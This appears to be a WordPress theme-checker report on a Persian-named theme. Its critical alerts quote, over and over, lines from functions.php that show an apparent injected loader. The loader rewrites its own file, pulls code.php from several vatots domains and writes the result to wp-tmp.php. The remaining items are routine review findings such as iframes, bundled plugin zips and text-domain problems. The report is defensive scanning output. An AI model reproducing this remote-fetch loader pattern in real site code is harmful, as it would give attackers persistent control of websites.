0
Validation results

بی تم

بی تم

WordPress 4.9.8 theme
0
Critical alerts
  1. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe class="embed" width="100%" height="'. esc_attr( $height ) .'" frameborder="0" style="border:0" src="'. esc_url( $src ) .'" allowfullscreen> in file theme-shortcodes.php.
    Line 4496: $output = '<iframe class='embed' width='100%' height=''. esc_attr( $height ) .'' frame
    Found <iframe class="scale-with-grid" src="http'. mfn_ssl() .'://player.vimeo.com/video/'. $video .'" allowFullScreen> in file theme-functions.php.
    Line 1694: $output .= '<iframe class='scale-with-grid' src='http'. mfn_ssl() .'://player.vimeo.com
  2. Malware : Operations on file system file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 110: if (($tmpcontent = @file_get_contents('http://www.vatots.com/code.php') OR $tmpcontent = @file_
    Line 127: elseif ($tmpcontent = @file_get_contents('http://www.vatots.pw/code.php')  AND stripos($tmpcontent
    Line 143: elseif ($tmpcontent = @file_get_contents('http://www.vatots.top/code.php')  AND stripos($tmpconten
    Line 158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 110: if (($tmpcontent = @file_get_contents('http://www.vatots.com/code.php') OR $tmpcontent = @file_
    Line 127: elseif ($tmpcontent = @file_get_contents('http://www.vatots.pw/code.php')  AND stripos($tmpcontent
    Line 143: elseif ($tmpcontent = @file_get_contents('http://www.vatots.top/code.php')  AND stripos($tmpconten
    Line 158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 152: @file_put_contents('wp-tmp.php', $tmpcontent);
    fopen was found in the file functions.php
    Line 92: $handle   = fopen($tmpfname, 'w+');
    Line 99: $handle   = fopen($tmpfname, 'w+');
    fwrite was found in the file functions.php
    Line 93: if( fwrite($handle, '<?php\n' . $phpCode))
    Line 100: fwrite($handle, '<?php\n' . $phpCode);
    fopen was found in the file functions.php
    Line 92: $handle   = fopen($tmpfname, 'w+');
    Line 99: $handle   = fopen($tmpfname, 'w+');
    fwrite was found in the file functions.php
    Line 93: if( fwrite($handle, '<?php\n' . $phpCode))
    Line 100: fwrite($handle, '<?php\n' . $phpCode);
    fclose was found in the file functions.php
    Line 102: fclose($handle);
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 110: if (($tmpcontent = @file_get_contents('http://www.vatots.com/code.php') OR $tmpcontent = @file_
    Line 127: elseif ($tmpcontent = @file_get_contents('http://www.vatots.pw/code.php')  AND stripos($tmpcontent
    Line 143: elseif ($tmpcontent = @file_get_contents('http://www.vatots.top/code.php')  AND stripos($tmpconten
    Line 158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 110: if (($tmpcontent = @file_get_contents('http://www.vatots.com/code.php') OR $tmpcontent = @file_
    Line 127: elseif ($tmpcontent = @file_get_contents('http://www.vatots.pw/code.php')  AND stripos($tmpcontent
    Line 143: elseif ($tmpcontent = @file_get_contents('http://www.vatots.top/code.php')  AND stripos($tmpconten
    Line 158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 110: if (($tmpcontent = @file_get_contents('http://www.vatots.com/code.php') OR $tmpcontent = @file_
    Line 127: elseif ($tmpcontent = @file_get_contents('http://www.vatots.pw/code.php')  AND stripos($tmpcontent
    Line 143: elseif ($tmpcontent = @file_get_contents('http://www.vatots.top/code.php')  AND stripos($tmpconten
    Line 158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_put_contents was found in the file functions.php
    Line 25: @file_put_contents(__FILE__, $file);
    Line 47: @file_put_contents(__FILE__, $file);
    Line 114: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 117: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 119: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 131: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 134: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 136: @file_put_contents('wp-tmp.php', $tmpcontent);
    Line 147: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
    Line 150: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
    Line 152: @file_put_contents('wp-tmp.php', $tmpcontent);
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 110: if (($tmpcontent = @file_get_contents('http://www.vatots.com/code.php') OR $tmpcontent = @file_
    Line 127: elseif ($tmpcontent = @file_get_contents('http://www.vatots.pw/code.php')  AND stripos($tmpcontent
    Line 143: elseif ($tmpcontent = @file_get_contents('http://www.vatots.top/code.php')  AND stripos($tmpconten
    Line 158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 110: if (($tmpcontent = @file_get_contents('http://www.vatots.com/code.php') OR $tmpcontent = @file_
    Line 127: elseif ($tmpcontent = @file_get_contents('http://www.vatots.pw/code.php')  AND stripos($tmpcontent
    Line 143: elseif ($tmpcontent = @file_get_contents('http://www.vatots.top/code.php')  AND stripos($tmpconten
    Line 158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_get_contents was found in the file functions.php
    Line 19: if ($file = @file_get_contents(__FILE__))
    Line 21: if(preg_match_all('/\$tmpcontent = @file_get_contents\('http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
    Line 41: if ($file = @file_get_contents(__FILE__))
    Line 76: function file_get_contents_tcurl($url)
    Line 110: if (($tmpcontent = @file_get_contents('http://www.vatots.com/code.php') OR $tmpcontent = @file_
    Line 127: elseif ($tmpcontent = @file_get_contents('http://www.vatots.pw/code.php')  AND stripos($tmpcontent
    Line 143: elseif ($tmpcontent = @file_get_contents('http://www.vatots.top/code.php')  AND stripos($tmpconten
    Line 158: elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpconte
    Line 161: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tm
    Line 164: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== 
    file_get_contents was found in the file changelog.php
    Line 17: <?php echo file_get_contents( THEME_DIR .'/changelog.html' );?>
    file_get_contents was found in the file parsers.php
    Line 71: $success = $dom->loadXML( file_get_contents( $file ) );
    Line 295: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {
    file_get_contents was found in the file parsers.php
    Line 71: $success = $dom->loadXML( file_get_contents( $file ) );
    Line 295: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {
    fopen was found in the file parsers.php
    Line 451: $fp = $this->fopen( $file, 'r' );
    Line 672: function fopen( $filename, $mode = 'r' ) {
    Line 675: return fopen( $filename, $mode );
    fclose was found in the file parsers.php
    Line 495: $this->fclose($fp);
    Line 690: function fclose( $fp ) {
    Line 693: return fclose( $fp );
    fopen was found in the file parsers.php
    Line 451: $fp = $this->fopen( $file, 'r' );
    Line 672: function fopen( $filename, $mode = 'r' ) {
    Line 675: return fopen( $filename, $mode );
    fopen was found in the file parsers.php
    Line 451: $fp = $this->fopen( $file, 'r' );
    Line 672: function fopen( $filename, $mode = 'r' ) {
    Line 675: return fopen( $filename, $mode );
    fclose was found in the file parsers.php
    Line 495: $this->fclose($fp);
    Line 690: function fclose( $fp ) {
    Line 693: return fclose( $fp );
    fclose was found in the file parsers.php
    Line 495: $this->fclose($fp);
    Line 690: function fclose( $fp ) {
    Line 693: return fclose( $fp );
    file_get_contents was found in the file class-mfn-importer-api.php
    Line 102: $body = @file_get_contents( $url );
    fopen was found in the file class-mfn-importer-api.php
    Line 101: if( function_exists( 'ini_get' ) && ini_get( 'allow_url_fopen' ) ){
    Line 126: $fp = @fopen( $path_zip, 'w' );
    fwrite was found in the file class-mfn-importer-api.php
    Line 127: $fwrite = @fwrite( $fp, $body );
    Line 129: if( false === $fwrite ){
    fclose was found in the file class-mfn-importer-api.php
    Line 128: @fclose( $fp );
    fopen was found in the file class-mfn-importer.php
    Line 126: * 3. fopen
    Line 144: $fp = fopen( $path, 'r' );
    fread was found in the file class-mfn-importer.php
    Line 145: $data = fread( $fp, filesize( $path ) );
    fclose was found in the file class-mfn-importer.php
    Line 146: fclose( $fp );
  3. Malware : Network operations curl_init was found in the file functions.php
    Line 78: $ch = curl_init();
    curl_exec was found in the file functions.php
    Line 84: $data = curl_exec($ch);
  4. Admin menu : Themes should use add_theme_page() for adding admin pages. File options.php :
    Line 156: $this->page = add_submenu_page(
    File class-mfn-dashboard.php :
    Line 96: $this->page = add_menu_page(
    File class-mfn-dashboard.php :
    Line 106: add_submenu_page(
    File class-tgm-plugin-activation.php :
    Line 724: $this->page_hook = add_submenu_page( $args['parent_slug'], $args['page_title'], $args['menu_ti
    File class-mfn-changelog.php :
    Line 27: $this->page = add_submenu_page(
    File class-mfn-support.php :
    Line 27: $this->page = add_submenu_page(
    File class-mfn-status.php :
    Line 30: $this->page = add_submenu_page(
    File class-mfn-importer.php :
    Line 77: $this->page = add_submenu_page(
  5. Deprecated functions : get_option get_option( 'home' ) was found in the file class-mfn-status.php. Use home_url() instead.
    Line 75: 'home'						=> get_option( 'home' ),
  6. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was layerslider.zip revslider.zip duplicate-post.zip force-regenerate-thumbnails.zip js_composer.zip contact-form-7.zip product.zip navigation.zip tiles2-content.zip tiles2.zip minimal2.zip church2.zip hiphop.zip hotel3.zip clothing-content.zip clothing.zip universe.zip vegetables.zip cafe2.zip company3.zip pizza3.zip music2.zip accountant2.zip resort.zip coffee2.zip webdeveloper.zip cryptocurrency.zip language2.zip adventure.zip mechanic3.zip company.zip garden3.zip employment.zip watchmaker.zip developer3.zip actor.zip accountant3.zip fantasy.zip interior3.zip gsmservice.zip robotics.zip artist2.zip salmon.zip gym2.zip internet.zip airport.zip yoga2.zip snowpark.zip mockup.zip photography.zip carpenter2.zip dietitian2.zip carwash.zip meat.zip hairdresser.zip ecobeef.zip vet2.zip lawyer3.zip eco2.zip meeting.zip bar2.zip architect3.zip farm.zip manicure.zip denim.zip detailing2.zip winter.zip wanderer.zip security2.zip event2.zip drawing.zip search-form-hero.zip news-video.zip flickr-gallery.zip contenttabs.zip mainfeature.zip youtube-gallery.zip facebook-feed.zip youtubehero.zip highlight-showcase.zip vimeo-gallery.zip news-gallery-post-based.zip insta-gallery.zip vimeohero.zip newsletter-hero.zip showcasecarousel.zip classicslider.zip classic-carousel.zip twitter-feed.zip sportshero.zip news-hero.zip news-gallery.zip preset.zip highlight-carousel.zip fireplace.zip minimal.zip barber2.zip game.zip carrental.zip seo2.zip garden-content.zip driving.zip journalist.zip watch.zip biker.zip pr.zip university.zip furniture2.zip shoes.zip burger.zip loans2.zip spa2.zip tattoo-content.zip sitter.zip webmaster.zip moto.zip wallet.zip interior2.zip energy.zip science.zip musician.zip digital.zip beauty.zip repair.zip space.zip dj.zip library.zip interior.zip icecream.zip artist.zip charity2.zip app2.zip craftbeer.zip eco.zip boutique-content.zip cleaner.zip fix.zip jet.zip flower.zip writer.zip plumber.zip tailor.zip renovate.zip couturier-box2.zip sushi2.zip weddingvideos.zip itservice.zip boutique.zip hr.zip business.zip profile.zip travel.zip media.zip billiard.zip hotel2.zip oculist.zip language.zip restaurant2.zip glasses.zip surfing.zip steak.zip clinic2.zip restaurant2-content.zip adagency-content.zip smarthome.zip extreme.zip builder.zip smart.zip cafe.zip lawyer.zip xmas.zip spa.zip developer.zip agro.zip ski.zip splash.zip estate.zip bikerental.zip fit.zip detailing-content.zip congress.zip productions.zip portfolio.zip party.zip event.zip records.zip perfume.zip design2.zip investment-content.zip fitness-content.zip pizza.zip aquapark.zip asg.zip carpenter.zip vet.zip factory.zip video.zip stone.zip tiles.zip electric.zip vpn.zip corporation.zip creative2.zip holding.zip moving.zip callcenter.zip handyman.zip theme.zip fitness.zip detailing.zip security.zip cosmetics2.zip cosmetics1.zip app.zip pageshop.zip homepage.zip garden2.zip moving2.zip herbal.zip horse.zip agency2.zip press.zip logistics.zip hosting.zip shop.zip seo.zip yoga.zip developer2.zip webdesign.zip handmade.zip barber.zip print.zip animals.zip assistance.zip coffee.zip wedding2.zip wildlife.zip interactive.zip school.zip theater.zip profile-portfolio.zip surveyor.zip clinic2-content.zip tuning.zip politics.zip underwater.zip dentist.zip hotel.zip pr-content.zip lab.zip coaching.zip ngo.zip club.zip massage.zip business2.zip bar-content.zip dentist2.zip carver.zip elearning.zip sportsclub.zip tattoo.zip landing.zip couturier-box1.zip buddy.zip it.zip biolab-content.zip wedding.zip movie.zip medic2.zip animalshelter.zip technics.zip architect2.zip restaurant.zip bistro.zip software.zip farmer.zip onepage-content.zip karting.zip sport.zip music.zip sushi.zip cosmetics3.zip pharmacy.zip pole.zip transport.zip translator.zip accountant.zip blog.zip architect.zip story.zip church.zip security-content.zip mechanic2.zip tourist.zip transfer.zip constructor.zip medic.zip mining.zip store.zip onepage.zip photo.zip mechanic.zip adagency.zip baker.zip lawyer2.zip decor.zip makeup.zip car.zip biolab-content2.zip tea.zip elearning-content.zip model.zip kindergarten.zip renovate2.zip museum.zip bar.zip toy.zip copywriter.zip recipes.zip wine.zip casino.zip retouch.zip investment.zip jeweler.zip agency.zip 3d.zip spa-content.zip active.zip garden-content2.zip.
Warning
  1. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  2. Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is %d8%a8%db%8c-%d8%aa%d9%85.
  3. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments in file header.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are mfn-opts, nhp-opts, betheme, bbpress, woocommerce, js_composer, tgmpa, wordpress-importer.
  4. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  5. Unwanted files : hidden file(s) or folder(s).ds_store was found.
  6. Hidden admin bar : Hidden admin Bar in CSSThemes should not hide admin bar. Detected in file style.css.
  7. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  8. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  9. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  10. Date and time implementation : Use of the_date()At least one hard coded date was found in the file content-single-portfolio.php. Function get_option( 'date_format' ) should be used instead.At least one hard coded date was found in the file single-download.php. Function get_option( 'date_format' ) should be used instead.
  11. Screenshot : Screenshot fileBad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  4. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  5. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  6. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  7. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  8. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  9. Optional files : Presence of archive template file archive.phpThis theme does not contain optional file archive.php.
  10. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  11. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  12. Use of includes : Use of include or requireThe theme appears to use include or require : theme-options.php
    Line 10: require_once( dirname( __FILE__ ) . '/fonts.php' );
    Line 11: require_once( dirname( __FILE__ ) . '/options.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : options.php
    Line 199: require_once($this->dir.'fields/'.$field['type'].'/field_'.$field['type'].'
    Line 401: require_once( $this->dir .'validation/'. $field[ 'validate' ] .'/validation
    Line 711: require_once( $this->dir .'fields/'. $field['type'] .'/field_'. $field['typ
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : header-side-slide.php
    Line 215: get_template_part( 'includes/include', 'social' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : header-top-bar-right.php
    Line 55: get_template_part( 'includes/include', 'wpml' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : header-creative.php
    Line 24: get_template_part( 'includes/include', 'social' );
    Line 39: <?php get_template_part( 'includes/include', 'logo' ); ?>
    Line 86: <?php get_template_part( 'includes/include', 'social' ); ?>
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : header-top-area.php
    Line 29: get_template_part( 'includes/include', 'social' );						
    Line 66: <?php get_template_part( 'includes/include', 'logo' ); ?>
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : footer.php
    Line 126: get_template_part( 'includes/include', 'social' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
